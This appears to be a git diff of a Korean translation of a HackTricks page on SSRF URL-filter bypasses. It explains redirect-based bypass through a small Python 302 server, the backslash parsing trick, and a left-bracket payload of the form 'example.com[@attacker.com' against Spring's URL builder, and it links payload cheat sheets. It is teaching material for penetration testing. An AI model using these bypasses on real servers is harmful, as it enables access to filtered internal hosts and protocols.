서버가 SSRF의 **원래 요청을 필터링**하고 **그 요청에 대한 가능한 리디렉션** 응답은 필터링하지 않을 가능성이 있습니다.\
|
||||
예를 들어, `url=https://www.google.com/`를 통해 SSRF에 취약한 서버는 **url 매개변수를 필터링**할 수 있습니다. 그러나 [파이썬 서버를 사용하여 302로 응답](https://pastebin.com/raw/ywAUhFrv)하는 경우, 리디렉션하려는 위치로 이동하면 127.0.0.1과 같은 **필터링된 IP 주소**나 gopher와 같은 **필터링된 프로토콜**에 **접근할 수** 있을 수 있습니다.\
|
||||
서버가 SSRF의 **원래 요청을 필터링**하고 **가능한 리디렉션** 응답은 필터링하지 않을 가능성이 있습니다.\
|
||||
예를 들어, `url=https://www.google.com/`를 통해 SSRF에 취약한 서버는 **url 매개변수**를 필터링할 수 있습니다. 그러나 [파이썬 서버를 사용하여 302로 응답](https://pastebin.com/raw/ywAUhFrv)하여 리디렉션하려는 위치로 보낼 경우, 127.0.0.1과 같은 **필터링된 IP 주소**나 gopher와 같은 필터링된 **프로토콜**에 **접근할 수** 있을 수 있습니다.\
|
||||
[이 보고서를 확인하세요.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -197,10 +203,14 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||
|
||||
### 블랙슬래시 트릭
|
||||
|
||||
_백슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-parsing)과 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 간의 차이를 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크인 반면, WHATWG는 웹 URL에 특화되어 있으며 현대 브라우저에서 채택되고 있습니다. 주요 차이점은 WHATWG 표준이 백슬래시(`\`)를 슬래시(`/`)와 동등하게 인식한다는 점으로, 이는 URL이 파싱되는 방식에 영향을 미치며, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시합니다.
|
||||
_백슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-parsing)과 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 간의 차이를 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크인 반면, WHATWG는 웹 URL에 특정하며 현대 브라우저에서 채택되고 있습니다. 주요 차이점은 WHATWG 표준이 백슬래시(`\`)를 포워드 슬래시(`/`)와 동등하게 인식하여 URL이 구문 분석되는 방식에 영향을 미치며, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시하는 것입니다.
|
||||
|
||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
|
||||
### 왼쪽 대괄호
|
||||
|
||||
사용자 정보 세그먼트의 “왼쪽 대괄호” 문자 `[`는 Spring의 UriComponentsBuilder가 브라우저와 다른 호스트 이름 값을 반환하게 할 수 있습니다: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
|
||||
### 기타 혼란
|
||||
|
||||
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (600).png>)
|
||||
|
@ -211,6 +221,7 @@ _백슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-pa
|
|||
|
||||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
* [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
Loading…
Reference in a new issue